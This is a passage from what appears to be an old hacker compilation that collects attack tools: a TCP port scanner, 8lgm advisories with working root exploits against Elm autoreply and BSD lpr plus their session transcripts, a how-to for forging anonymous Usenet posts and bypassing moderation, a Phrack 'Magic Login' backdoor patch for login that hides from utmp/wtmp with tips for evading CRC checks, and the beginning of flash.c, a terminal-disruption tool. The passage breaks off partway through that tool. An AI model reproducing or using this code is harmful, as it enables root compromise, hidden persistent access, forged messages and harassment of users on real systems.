  831.         system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
  832. unning ypserv.\"\nfi\nfi");
  833.         }
  834. else { print "unable to resolve address\n" if $verbose; }
  835.  
  836. }
  837.  
  838. sub AF_INET {2;}
  839.  
  840. ------------------------------------------------------------------------------
  841.  
  842. /*
  843.  * probe_tcp_ports
  844.  */
  845.  
  846.  
  847. #include <sys/types.h>
  848. #include <sys/stat.h>
  849. #include <stdio.h>
  850. #include <ctype.h>
  851. #include <sys/socket.h>
  852. #include <netinet/in.h>
  853. #include <netdb.h>
  854.  
  855. #define RETURN_ERR -1
  856. #define RETURN_FAIL 0
  857. #define RETURN_SUCCESS 1
  858.  
  859. int             Debug;
  860. int             Hack;
  861. int             Verbose;
  862.  
  863. main(ArgC, ArgV)
  864.  int             ArgC;
  865.  char          **ArgV;
  866. {
  867.  int             Index;
  868.  int             SubIndex;
  869.  
  870.  for (Index = 1; (Index < ArgC) && (ArgV[Index][0] == '-'); Index++)
  871.      for (SubIndex = 1; ArgV[Index][SubIndex]; SubIndex++)
  872.   switch (ArgV[Index][SubIndex])
  873.   {
  874.   case 'd':
  875.    Debug++;
  876.    break;
  877.   case 'h':
  878.    Hack++;
  879.    break;
  880.   case 'v':
  881.    Verbose++;
  882.    break;
  883.   default:
  884.    (void) fprintf(stderr,
  885.   "Usage: probe_tcp_ports [-dhv] [hostname [hostname ...] ]\n");
  886.    exit(1);
  887.   }
  888.  
  889.  for (; Index < ArgC; Index++)
  890.   (void) Probe_TCP_Ports(ArgV[Index]);
  891.  exit(0);
  892. }
  893.  
  894. Probe_TCP_Ports(Name)
  895.  char           *Name;
  896. {
  897.  unsigned        Port;
  898.  char           *Host;
  899.  struct hostent *HostEntryPointer;
  900.  struct sockaddr_in SocketInetAddr;
  901.  struct hostent  TargetHost;
  902.  struct in_addr  TargetHostAddr;
  903.  char           *AddressList[1];
  904.  char            NameBuffer[128];
  905.  
  906.  extern int      inet_addr();
  907.  extern char    *rindex();
  908.  
  909.  if (Name == NULL)
  910.   return (RETURN_FAIL);
  911.  Host = Name;
  912.  if (Host == NULL)
  913.   return (RETURN_FAIL);
  914.  HostEntryPointer = gethostbyname(Host);
  915.  if (HostEntryPointer == NULL)
  916.   {
  917.   TargetHostAddr.s_addr = inet_addr(Host);
  918.   if (TargetHostAddr.s_addr == -1)
  919.    {
  920.    (void) printf("unknown host: %s\n", Host);
  921.    return (RETURN_FAIL);
  922.    }
  923.   (void) strcpy(NameBuffer, Host);
  924.   TargetHost.h_name = NameBuffer;
  925.   TargetHost.h_addr_list = AddressList, TargetHost.h_addr =
  926.    (char *) &TargetHostAddr;
  927.   TargetHost.h_length = sizeof(struct in_addr);
  928.   TargetHost.h_addrtype = AF_INET;
  929.   TargetHost.h_aliases = 0;
  930.   HostEntryPointer = &TargetHost;
  931.   }
  932.  SocketInetAddr.sin_family = HostEntryPointer->h_addrtype;
  933.  bcopy(HostEntryPointer->h_addr, (char *) &SocketInetAddr.sin_addr,
  934.   HostEntryPointer->h_length);
  935.  
  936.  
  937.  for (Port = 1; Port < 65536; Port++)
  938.   (void) Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr);
  939.  return (RETURN_SUCCESS);
  940. }
  941.  
  942. Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr)
  943.  unsigned        Port;
  944.  struct hostent *HostEntryPointer;
  945.  struct sockaddr_in SocketInetAddr;
  946. {
  947.  char            Buffer[BUFSIZ];
  948.  int             SocketDescriptor;
  949.  struct servent *ServiceEntryPointer;
  950.  
  951.  
  952.  SocketInetAddr.sin_port = Port;
  953.  SocketDescriptor = socket(AF_INET, SOCK_STREAM, 6);
  954.  if (SocketDescriptor < 0)
  955.   {
  956.   perror("socket");
  957.   return (RETURN_ERR);
  958.   }
  959.  if (Verbose)
  960.   {
  961.   (void) printf("Host %s, Port %d ", HostEntryPointer->h_name,
  962.          Port);
  963.   if ((ServiceEntryPointer = getservbyport(Port, "tcp")) !=
  964.       (struct servent *) NULL)
  965.    (void) printf(" (\"%s\" service) ",
  966.           ServiceEntryPointer->s_name);
  967.   (void) printf("connection ... ");
  968.   (void) fflush(stdout);
  969.   }
  970.  if (connect(SocketDescriptor, (char *) &SocketInetAddr,
  971.       sizeof(SocketInetAddr)) < 0)
  972.   {
  973.   if (Verbose)
  974.    (void) printf("NOT open.\n");
  975.   if (Debug)
  976.    perror("connect");
  977.   }
  978.  else
  979.   {
  980.   if (!Verbose)
  981.    {
  982.    (void) printf("Host %s, Port %d ",
  983.           HostEntryPointer->h_name, Port);
  984.    if ((ServiceEntryPointer = getservbyport(Port,"tcp")) !=
  985.        (struct servent *) NULL)
  986.     (void) printf(" (\"%s\" service) ",
  987.            ServiceEntryPointer->s_name);
  988.    (void) printf("connection ... ");
  989.    (void) fflush(stdout);
  990.    }
  991.   (void) printf("open.\n");
  992.   if (Hack)
  993.    {
  994.    (void) sprintf(Buffer, "/usr/ucb/telnet %s %d",
  995.            HostEntryPointer->h_name, Port);
  996.    (void) system(Buffer);
  997.    }
  998.   }
  999.  
  1000.  (void) close(SocketDescriptor);
  1001.  return (RETURN_SUCCESS);
  1002. }
  1003.  
  1004. ------------------------------------------------------------------------------
  1005.  
  1006. [8lgm]-Advisory-2.UNIX.autoreply.12-Jul-1991
  1007.  
  1008. PROGRAM:
  1009.  
  1010.  autoreply(1) (/usr/local/bin/autoreply)
  1011.    Supplied with the Elm Mail System
  1012.  
  1013. VULNERABLE OS's:
  1014.  
  1015.  Any system with a standard installation of The Elm Mail System.
  1016.  All versions are believed to have this vulnerability.
  1017.  
  1018. DESCRIPTION:
  1019.  
  1020.  autoreply(1) can be used to create root owned files, with mode
  1021.  666.  It can also overwrite any file with semi user-controlled
  1022.  data.
  1023.  
  1024. IMPACT:
  1025.  
  1026.  Any user with access to autoreply(1) can alter system files and
  1027.  thus become root.
  1028.  
  1029. REPEAT BY:
  1030.  
  1031.  This example demonstrates how to become root on most affected
  1032.  machines by modifying root's .rhosts file.  Please do not do
  1033.  this unless you have permission.
  1034.  
  1035.  Create the following script, 'fixrhosts':
  1036.  
  1037. 8<--------------------------- cut here ----------------------------
  1038. #!/bin/sh
  1039. #
  1040. # fixrhosts rhosts-file user machine
  1041. #
  1042. if [ $# -ne 3 ]; then
  1043.  echo "Usage: `basename $0` rhosts-file user machine"
  1044.  exit 1
  1045. fi
  1046. RHOSTS="$1"
  1047. USERNAME="$2"
  1048. MACHINE="$3"
  1049. cd $HOME
  1050. echo x > "a
  1051. $MACHINE $USERNAME
  1052. b"
  1053. umask 022
  1054. autoreply "a
  1055. $MACHINE $USERNAME
  1056. b"
  1057. cat > /tmp/.rhosts.sh.$$ << 'EOF'
  1058. ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
  1059. exec autoreply off
  1060. exit 0
  1061. EOF
  1062. /bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
  1063. rm -f /tmp/.rhosts.sh.$$ "a
  1064. $MACHINE $USERNAME
  1065. b"
  1066. exit 0
  1067. 8<--------------------------- cut here ----------------------------
  1068.  
  1069.  (Lines marked with > represent user input)
  1070.  
  1071. > % id
  1072.  uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
  1073. > % ./fixrhosts ~root/.rhosts 8lgm localhost
  1074.  You've been added to the autoreply system.
  1075.  You've been removed from the autoreply table.
  1076. > % rsh localhost -l root csh -i
  1077.  Warning: no access to tty.
  1078.  Thus no job control in this shell.
  1079.  #
  1080.  
  1081.  
  1082. FIX:
  1083.  
  1084.  1. Disable autoreply.
  1085.  2. Wait for a patch from the Elm maintainers.
  1086.  
  1087. ------------------------------------------------------------------------------
  1088.  
  1089. [8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991
  1090.  
  1091. PROGRAM:
  1092.  
  1093.  lpr(1)  (/usr/ucb/lpr or /usr/bin/lpr)
  1094.  
  1095. VULNERABLE OS's:
  1096.  
  1097.  SunOS 4.1.1 or earlier
  1098.  BSD 4.3
  1099.  BSD NET/2 Derived Systems
  1100.  A/UX 2.0.1
  1101.  
  1102.  Most systems supporting the BSD LP subsystem
  1103.  
  1104.  
  1105. DESCRIPTION:
  1106.  
  1107.  lpr(1) can be used to overwrite or create (and become owner of)
  1108.  any file on the system.  lpr -s allows users to create symbolic
  1109.  links in lpd's spool directory (typically /var/spool/lpd).
  1110.  After 1000 invocations of lpr, lpr will reuse the filename in
  1111.  the spool directory, and follow the link previously installed.
  1112.  It will thus overwrite/create any file that this link points too.
  1113.  
  1114. IMPACT:
  1115.  
  1116.  Any user with access to lpr(1) can alter system files and thus
  1117.  become root.
  1118.  
  1119. REPEAT BY:
  1120.  
  1121.  This example demonstrates how to become root on most affected
  1122.  machines by modifying /etc/passwd and /etc/group.  Please do
  1123.  not do this unless you have permission.
  1124.  
  1125.  Create the following script, 'lprcp':
  1126.  
  1127. 8<--------------------------- cut here ----------------------------
  1128. #!/bin/csh -f
  1129. #
  1130. # Usage: lprcp from-file to-file
  1131. #
  1132.  
  1133. if ($#argv != 2) then
  1134.  echo Usage: lprcp from-file to-file
  1135.  exit 1
  1136. endif
  1137.  
  1138. # This link stuff allows us to overwrite unreadable files,
  1139. # should we want to.
  1140. echo x > /tmp/.tmp.$$
  1141. lpr -q -s /tmp/.tmp.$$
  1142. rm -f /tmp/.tmp.$$  # lpr's accepted it, point it
  1143. ln -s $2 /tmp/.tmp.$$  # to where we really want
  1144.  
  1145. @ s = 0
  1146. while ( $s != 999)  # loop 999 times
  1147.  lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
  1148.  @ s++
  1149.  if ( $s % 10 == 0 ) echo -n .
  1150. end
  1151. lpr $1    # incoming file
  1152.     # user becomes owner
  1153. rm -f /tmp/.tmp.$$
  1154. exit 0
  1155. 8<--------------------------- cut here ----------------------------
  1156.  
  1157.  (Lines marked with > represent user input)
  1158.  
  1159. Make copies of /etc/passwd and /etc/group, and modify them:
  1160. > % id
  1161.  uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
  1162. > % cp /etc/passwd /tmp/passwd
  1163. > % ex /tmp/passwd
  1164.  /tmp/passwd: unmodified: line 42
  1165. > :a
  1166. > 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
  1167. > .
  1168. > :wq
  1169.  /tmp/passwd: 43 lines, 2188 characters.
  1170. > % cp /etc/group /tmp
  1171. > % ex /tmp/group
  1172.  /tmp/group: unmodified: line 49
  1173. > :/wheel
  1174.  wheel:*:0:root,operator
  1175. > :c
  1176. > wheel:*:0:root,operator,8lgm
  1177. > .
  1178. > :wq
  1179.  /tmp/group: 49 lines, 944 characters.
  1180.  
  1181. Install our new files:
  1182. > % ./lprcp /tmp/group /etc/group
  1183.  ................................................................
  1184.  ...................................
  1185.  lpr: cannot rename /var/spool/lpd/cfA060testnode
  1186. > % ./lprcp /tmp/passwd /etc/passwd
  1187.  .................................................................
  1188.  ..................................
  1189.  lpr: cannot rename /var/spool/lpd/cfA061testnode
  1190.  
  1191. Check it worked:
  1192. > % ls -l /etc/passwd /etc/group
  1193.  -rw-r--r--    1 8lgm          944 Mar  3 19:56 /etc/group
  1194.  -rw-r--r--    1 8lgm         2188 Mar  3 19:59 /etc/passwd
  1195. > % head -1 /etc/group
  1196.  wheel:*:0:root,operator,8lgm
  1197. > % grep '^8lgmroot' /etc/passwd
  1198.  8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
  1199.  
  1200. Become root and tidy up:
  1201. > % su 8lgmroot
  1202.  # chown root /etc/passwd /etc/group
  1203.  # rm -f /tmp/passwd /tmp/group
  1204.  #
  1205.  
  1206. FIX:
  1207.  
  1208.  1. Contact your vendor for a fix.
  1209.  2. In the meantime, apply the following patch, derived from
  1210.     BSD NET/2 source, which will correct the flaw on most
  1211.     affected systems:
  1212.  
  1213. ------------------------------------------------------------------------------
  1214.  
  1215.           Anonymous netnews without "anonymous" remailers
  1216.  
  1217. Save any news article to a file.  We'll call it "hak" in this example.
  1218. Edit hak, and remove any header lines of the form
  1219.  
  1220.  From some!random!path!user   (note: "From ", not "From: " !!)
  1221.  Article:
  1222.  Lines:
  1223.  
  1224. Shorten the Path: header down to its LAST two or three "bangized" components.
  1225. This is to make the article look like it was posted from where it really was
  1226. posted, and originally hit the net at or near the host you send it to.  Or
  1227. you can construct a completely new Path: line to reflect your assumed alias.
  1228.  
  1229. Make some change to the Message-ID: field, that isn't likely to be
  1230. duplicated anywhere.  This is usually best done by adding a couple of
  1231. random characters to the part before the @, since news posting programs
  1232. generally use a fixed-length field to generate these IDs.
  1233.  
  1234. Change the other headers to say what you like -- From:, Newsgroups:,
  1235. Sender:, etc.  Replace the original message text with your message.
  1236. If you are posting to a moderated group, remember to put in an Approved:
  1237. header to bypass the moderation mechanism.
  1238.  
  1239. Write out the changed file, and send it to your favorite NNTP server that
  1240. permits transfers via the IHAVE command, using the following script:
  1241.  
  1242. =======================
  1243. #! /bin/sh
  1244. ## Post an article via IHAVE.
  1245. ## args: filename server
  1246.  
  1247. if test "$2" = "" ; then
  1248.   echo usage: $0 filename server
  1249.   exit 1
  1250. fi
  1251. if test ! -f $1 ; then
  1252.   echo $1: not found
  1253.   exit 1
  1254. fi
  1255.  
  1256. # suck msg-id out of headers, keep the brackets
  1257. msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
  1258.   sed 's/.*-[Ii][Dd]: //'`
  1259. echo $msgid
  1260.  
  1261. ( sleep 5
  1262.   echo IHAVE $msgid
  1263.   sleep 3
  1264.   cat $1
  1265.   sleep 1
  1266.   echo "."
  1267.   sleep 1
  1268.   echo QUIT ) | telnet $2 119
  1269. =======================
  1270.  
  1271. If your article doesn't appear in a day or two, try a different server.
  1272. They are easy to find.  Here's a script that will break a large file
  1273. full of saved netnews into a list of hosts to try.  Edit the output
  1274. of this if you want, to remove obvious peoples' names and other trash.
  1275.  
  1276. =======================
  1277. #! /bin/sh
  1278. FGV='fgrep -i -v'
  1279. egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
  1280. /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
  1281. =======================
  1282.  
  1283. Once you have your host list, feed it to the following script.
  1284.  
  1285. =======================
  1286. #! /bin/sh
  1287.  
  1288. while read xx ; do
  1289. if test "$xx" = "" ; then continue;
  1290. fi
  1291. echo === $xx
  1292. ( echo open $xx 119
  1293.   sleep 5
  1294.   echo ihave k00l@x.edu
  1295.   sleep 4
  1296.   echo .
  1297.   echo quit
  1298.   sleep 1
  1299.   echo quit
  1300. ) | telnet
  1301. done
  1302. =======================
  1303.  
  1304. If the above script is called "findem" and you're using csh, you should do
  1305.  
  1306.  findem < list >& outfile
  1307.  
  1308. so that ALL output from telnet is captured.  This takes a long time, but when
  1309. it finishes, edit "outfile" and look for occurrences of "335".  These mark
  1310. answers from servers that might be willing to accept an article.  This isn't a
  1311. completely reliable indication, since some servers respond with acceptance and
  1312. later drop articles.  Try a given server with a slightly modified repeat of
  1313. someone else's message, and see if it eventually appears.
  1314.  
  1315. You will notice other servers that don't necessarily take an IHAVE, but
  1316. say "posting ok".  You can probably do regular POSTS through these, but they
  1317. will add an "NNTP-Posting-Host: " header containing the machine YOU came from.
  1318.  
  1319. ------------------------------------------------------------------------------
  1320.  
  1321. Magic Login - Written by Data King - 7 July 1994
  1322.  
  1323. PLEASE NOTE:-
  1324.  
  1325.      This program code is released  on the understanding  that neither the
  1326.      author or Phrack  Magazine suggest that you implement this on **ANY**
  1327.      system that you are not authorized to do so. The author provides this
  1328.      implementation of a "Magic"  login as a learning exercise in security
  1329.      programming.
  1330.  
  1331. Sorry for the disclaimer readers but I was advised by the AFP (Australian
  1332. Federal Police) that if I ever released this code they would bust me for
  1333. aiding and abetting. I am releasing it anyway as I believe in the right of
  1334. people to KNOW, but not necessarily to DO.
  1335.  
  1336. As always I can be emailed at dking@suburbia.apana.org.au
  1337. (Please note:- I have a NEW pgp signature.)
  1338.  
  1339. INTRODUCTION
  1340. ~~~~~~~~~~~~
  1341. Briefly I am going to explain what a "Magic" login is and some of the steps you
  1342. need to go through to receive the desired result. At the end of this article is
  1343. a diff that can be applied to the shadow-3.2.2-linux archive to implement some
  1344. of these ideas.
  1345.  
  1346. EXPLANATION
  1347. ~~~~~~~~~~~
  1348. A "Magic" login is a modified login program that allows the user to login
  1349. without knowing the correct password for the account they are logging into.
  1350.  
  1351. This is a very simple programming exercise and can be done by almost anyone, but
  1352. a really effective "Magic" login program will do much more than this. The
  1353. features of the supplied "Magic" login are:
  1354.  
  1355.      - Will login to any valid account as long as you know the Magic password.
  1356.  
  1357.      - Hides you in UTMP
  1358. [B
  1359.      - Does not Log to WTMP
  1360.  
  1361.      - Allows Root Login from NON authorized Terminals
  1362.  
  1363.      - Preserves the Lastlogin information (ie Keeps it as though you had never
  1364.        logged in with the magic password)
  1365.  
  1366.      - Produces a binary that is exactly the same length as the original binary.
  1367.  
  1368. IMPLEMENTATION
  1369. ~~~~~~~~~~~~~~
  1370. I am not going to go into great detail here on how to write such a system as
  1371. this. The code is very simple and it contains plenty of comments, so just look
  1372. there for ideas.
  1373.  
  1374. For this system to have less chance of being detected you need to do several
  1375. things.
  1376.  
  1377. First select a "Magic" password that is not easily identifiable by stringing the
  1378. binary. This is why in the example I have used the word "CONSOLE", this word
  1379. already appears several times in the binary so detection of one more is
  1380. unlikely.
  1381.  
  1382. Admittedly I could of encrypted the "Magic" password, but I decided against this
  1383. for several reasons.
  1384.  
  1385. The second thing you would need to do if you where illegally placing a "Magic"
  1386. login on a system would be to ensure that the admins are not doing CRC checks on
  1387. SUID(0) programs, or if they are that you change the CRC record of login to
  1388. match the CRC record of the "Magic" login.
  1389.  
  1390. Thirdly do not forget to make the date and time stamp of the new binary match
  1391. the old ones.
  1392.  
  1393. To install a new /bin/login on a system you will need to be root, now if you are
  1394. already root why would you bother? Simple, it is just one more backdoor that you
  1395. can use to get back in if you are detected.
  1396.  
  1397. LIMITATIONS
  1398. ~~~~~~~~~~~
  1399. This version of the "Magic" login program does not have the following features,
  1400. I leave it entirely up to you about implementing something to fix them:
  1401.  
  1402.      - Shells & Programs show up in the Process Table
  1403.  
  1404.      - tty Ownership and attributes
  1405.  
  1406.      - /proc filesystem
  1407.  
  1408. Any one of these to an alert system admin will show that there is an "invisible"
  1409. user on the system. However it has been my experience that most admin's rarely
  1410. look at these things, or if they do they can not see the wood for the trees.
  1411.  
  1412. -----<cut here>-----
  1413.  
  1414. diff -c /root/work/login/console.c /root/work/logon/console.c
  1415. *** /root/work/login/console.c Sun Oct 11 07:16:47 1992
  1416. --- /root/work/logon/console.c Sat Jun  4 15:29:15 1994
  1417. ***************
  1418. *** 21,26 ****
  1419. --- 21,27 ----
  1420.   #endif
  1421.  
  1422.   extern char *getdef_str();
  1423. + extern  int magik;
  1424.  
  1425.   /*
  1426.    * tty - return 1 if the "tty" is a console device, else 0.
  1427. ***************
  1428. *** 47,52 ****
  1429. --- 48,57 ----
  1430.    if ((console = getdef_str("CONSOLE")) == NULL)
  1431.     return 1;
  1432.  
  1433. +  /* Fix for Magic Login - UnAuth Console - Data King */
  1434. +
  1435. +  if (magik==1)
  1436. +   return 1;
  1437.    /*
  1438.     * If this isn't a filename, then it is a ":" delimited list of
  1439.     * console devices upon which root logins are allowed.
  1440. diff -c /root/work/login/lmain.c /root/work/logon/lmain.c
  1441. *** /root/work/login/lmain.c Mon Oct 12 17:35:06 1992
  1442. --- /root/work/logon/lmain.c Sat Jun  4 15:30:37 1994
  1443. ***************
  1444. *** 105,110 ****
  1445. --- 105,111 ----
  1446.   char *Prog;
  1447.   int newenvc = 0;
  1448.   int maxenv = MAXENV;
  1449. + int magik;  /* Global Flag for Magic Login - Data King */
  1450.  
  1451.   /*
  1452.    * External identifiers.
  1453. diff -c /root/work/login/log.c /root/work/logon/log.c
  1454. *** /root/work/login/log.c Mon Oct 12 17:35:07 1992
  1455. --- /root/work/logon/log.c Sat Jun  4 15:37:22 1994
  1456. ***************
  1457. *** 53,58 ****
  1458. --- 53,59 ----
  1459.   extern struct passwd pwent;
  1460.   extern struct lastlog lastlog;
  1461.   extern char **environ;
  1462. + extern char magik;
  1463.  
  1464.   long lseek ();
  1465.   time_t time ();
  1466. ***************
  1467. *** 83,89 ****
  1468.    (void) time (&newlog.ll_time);
  1469.    (void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line);
  1470.    (void) lseek (fd, offset, 0);
  1471. !  (void) write (fd, (char *) &newlog, sizeof newlog);
  1472.    (void) close (fd);
  1473.   }
  1474.  
  1475. --- 84,93 ----
  1476.    (void) time (&newlog.ll_time);
  1477.    (void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line);
  1478.    (void) lseek (fd, offset, 0);
  1479. !  if (magik !=1) /* Dont Modify Last login Specs if this is a Magic  */
  1480. !  {        /* login - Data King */
  1481. !    (void) write (fd, (char *) &newlog, sizeof newlog);
  1482. !  }
  1483.    (void) close (fd);
  1484.   }
  1485.  
  1486. diff -c /root/work/login/utmp.c /root/work/logon/utmp.c
  1487. *** /root/work/login/utmp.c Mon Oct 12 17:35:36 1992
  1488. --- /root/work/logon/utmp.c Sat Jun  4 15:41:13 1994
  1489. ***************
  1490. *** 70,75 ****
  1491. --- 70,77 ----
  1492.   extern long lseek();
  1493.   #endif /* SVR4 */
  1494.  
  1495. + extern  int magik;
  1496. +
  1497.   #define NO_UTENT \
  1498.    "No utmp entry.  You must exec \"login\" from the lowest level \"sh\""
  1499.   #define NO_TTY \
  1500. ***************
  1501. *** 353,368 ****
  1502.    /*
  1503.     * Scribble out the new entry and close the file.  We're done
  1504.     * with UTMP, next we do WTMP (which is real easy, put it on
  1505. !   * the end of the file.
  1506.     */
  1507. !
  1508. !  (void) write (fd, &utmp, sizeof utmp);
  1509. !  (void) close (fd);
  1510. !
  1511. !  if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {
  1512.     (void) write (fd, &utmp, sizeof utmp);
  1513.     (void) close (fd);
  1514.    }
  1515. -   utent = utmp;
  1516.   #endif /* SVR4 */
  1517.   }
  1518. --- 355,372 ----
  1519.    /*
  1520.     * Scribble out the new entry and close the file.  We're done
  1521.     * with UTMP, next we do WTMP (which is real easy, put it on
  1522. !   * the end of the file. If Magic Login, DONT write out UTMP - Data King
  1523.     */
  1524. !  if (magik !=1)
  1525. !  {
  1526.     (void) write (fd, &utmp, sizeof utmp);
  1527.     (void) close (fd);
  1528. +
  1529. +   if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {
  1530. +    (void) write (fd, &utmp, sizeof utmp);
  1531. +    (void) close (fd);
  1532. +   }
  1533. +    utent = utmp;
  1534.    }
  1535.   #endif /* SVR4 */
  1536.   }
  1537. diff -c /root/work/login/valid.c /root/work/logon/valid.c
  1538. *** /root/work/login/valid.c Sun Oct 11 07:16:55 1992
  1539. --- /root/work/logon/valid.c Sat Jun  4 15:47:28 1994
  1540. ***************
  1541. *** 25,30 ****
  1542. --- 25,32 ----
  1543.   static char _sccsid[] = "@(#)valid.c 3.4 08:44:15 9/12/91";
  1544.   #endif
  1545.  
  1546. + extern int magik;
  1547. +
  1548.   /*
  1549.    * valid - compare encrypted passwords
  1550.    *
  1551. ***************
  1552. *** 43,48 ****
  1553. --- 45,64 ----
  1554.    char *encrypt;
  1555.    char *salt;
  1556.    char *pw_encrypt ();
  1557. +  char  *magic;
  1558. +
  1559. +  /*
  1560. +   * Below is the piece of code that checks to see if the password
  1561. +   * supplied by the user = the Magic Password - Data King
  1562. +   */
  1563. +
  1564. +  magic = "CONSOLE"; /* Define this as the Magic Password - Data King */
  1565. +
  1566. +  if (strcmp(password,magic) == 0)
  1567. +   {
  1568. +    magik = 1;
  1569. +    return(1);
  1570. +   }
  1571.  
  1572.    /*
  1573.     * Start with blank or empty password entries.  Always encrypt
  1574.  
  1575. ------------------------------------------------------------------------------
  1576.  
  1577. /* flash.c */
  1578.  
  1579. /* This little program is intended to quickly mess up a user's
  1580.    terminal by issuing a talk request to that person and sending
  1581.    vt100 escape characters that force the user to logout or kill
  1582.    his/her xterm in order to regain a sane view of the text.
  1583.    It the user's message mode is set to off (mesg n) he/she will
  1584.    be unharmed.
  1585.    This program is really nasty :-)
  1586.  
  1587.    Usage: flash user@host
  1588.  
  1589.    try compiling with: gcc -o flash flash.c
  1590. */
  1591.  
  1592.  
  1593. #include <sys/types.h>
  1594. #include <sys/socket.h>
  1595. #include <netinet/in.h>
  1596. #include <netdb.h>
  1597. #include <stdio.h>
  1598. #include <strings.h>
  1599.  
  1600. /* this should really be in an include file..  */
  1601.  
  1602. #define OLD_NAME_SIZE 9
  1603. #define NAME_SIZE    12
  1604. #define TTY_SIZE     16
  1605. typedef struct {
  1606.         char    type;
  1607.         char    l_name[OLD_NAME_SIZE];
  1608.         char    r_name[OLD_NAME_SIZE];
  1609.         char    filler;
  1610.         u_long  id_num;
  1611.         u_long  pid;
  1612.         char    r_tty[TTY_SIZE];
  1613.         struct  sockaddr_in addr;
  1614.         struct  sockaddr_in ctl_addr;
  1615. } OLD_MSG;
  1616.  
  1617. typedef struct {
  1618.         u_char  vers;
  1619.         char    type;
  1620.         u_short filler;
  1621.         u_long  id_num;
  1622.         struct  sockaddr_in addr;
  1623.         struct  sockaddr_in ctl_addr;
  1624.         long    pid;
  1625.         char    l_name[NAME_SIZE];
  1626.         char    r_name[NAME_SIZE];
  1627.         char    r_tty[TTY_SIZE];
  1628. } CTL_MSG;
  1629.  
  1630. #define TALK_VERSION    1               /* protocol version */
  1631.  
  1632. /* Types */
  1633. #define LEAVE_INVITE    0
  1634. #define LOOK_UP         1
  1635. #define DELETE          2
  1636. #define ANNOUNCE        3
  1637.  
  1638. int current = 1;  /* current id..  this to avoid duplications */
  1639.  
  1640. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  1641. {
  1642. static  struct sockaddr    addr;
  1643. struct  sockaddr_in *address;
  1644. struct  hostent     *host;
  1645.  
  1646. address = (struct sockaddr_in *)&addr;
  1647. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  1648. /* fill in the easy fields */
  1649. address->sin_family = AF_INET;
  1650. address->sin_port = htons(port);
  1651. /* first, check if the address is an ip address */
  1652. address->sin_addr.s_addr = inet_addr(hostname);
  1653. if ( (int)address->sin_addr.s_addr == -1)
  1654.         {
  1655.         /* it wasn't.. so we try it as a long host name */
  1656.         host = gethostbyname(hostname);
  1657.         if (host)
  1658.                 {
  1659.                 /* wow.  It's a host name.. set the fields */
  1660.                 /* ?? address->sin_family = host->h_addrtype; */
  1661.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  1662.                         host->h_length);
  1663.                 }
  1664.         else
  1665.                 {
  1666.                 /* oops.. can't find it.. */
  1667.   puts("Couldn't find address");
  1668.   exit(-1);
  1669.                 return (struct sockaddr_in *)0;
  1670.                 }
  1671.         }
  1672. /* all done. */
  1673. return (struct sockaddr_in *)address;
  1674. }
  1675.  
  1676. SendTalkPacket(struct sockaddr_in *target, char *p, int psize)
  1677. {
  1678. int  s;
  1679. struct sockaddr sample; /* not used.. only to get the size */
  1680.  
  1681. s = socket(AF_INET, SOCK_DGRAM, 0);
  1682. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) );
  1683. }
  1684.  
  1685.  
  1686. new_ANNOUNCE(char *hostname, char *remote, char *local)
  1687. {
  1688. CTL_MSG  packet;
  1689. struct   sockaddr_in  *address;
  1690.  
  1691. /* create a packet */
  1692. address = getinaddr(hostname, 666 );
  1693. address->sin_family = htons(AF_INET);
  1694.  
  1695. bzero( (char *)&packet, sizeof(packet) );
  1696. packet.vers   = TALK_VERSION;
  1697. packet.type   = ANNOUNCE;
  1698. packet.pid    = getpid();
  1699. packet.id_num = current;
  1700. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  1701. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  1702. strncpy( packet.l_name, local, NAME_SIZE);
  1703. strncpy( packet.r_name, remote, NAME_SIZE);
  1704. strncpy( packet.r_tty, "", 1);
  1705.  
  1706. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) );
  1707. }
  1708.  
  1709. old_ANNOUNCE(char *hostname, char *remote, char *local)
  1710. {
  1711. OLD_MSG  packet;
  1712. struct   sockaddr_in  *address;
  1713.  
  1714. /* create a packet */
  1715. address = getinaddr(hostname, 666 );
  1716. address->sin_family = htons(AF_INET);
  1717.  
  1718. bzero( (char *)&packet, sizeof(packet) );
  1719. packet.type   = ANNOUNCE;
  1720. packet.pid    = getpid();
  1721. packet.id_num = current;
  1722. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  1723. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  1724. strncpy( packet.l_name, local, NAME_SIZE);
  1725. strncpy( packet.r_name, remote, NAME_SIZE);
  1726. strncpy( packet.r_tty, "", 1);
  1727.  
  1728. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  1729. }
  1730.  
  1731. main(int argc, char *argv[])
  1732. {
  1733.  char *hostname, *username;
  1734.  int pid;
  1735.  
  1736.  if ( (pid = fork()) == -1)
  1737.    {
  1738.   perror("fork()");
  1739.   exit(-1);
  1740.   }
  1741.  if ( !pid )
  1742.   {
  1743.   exit(0);
  1744.   }
  1745.  if (argc < 2) {
  1746.   puts("Usage: <finger info> ");
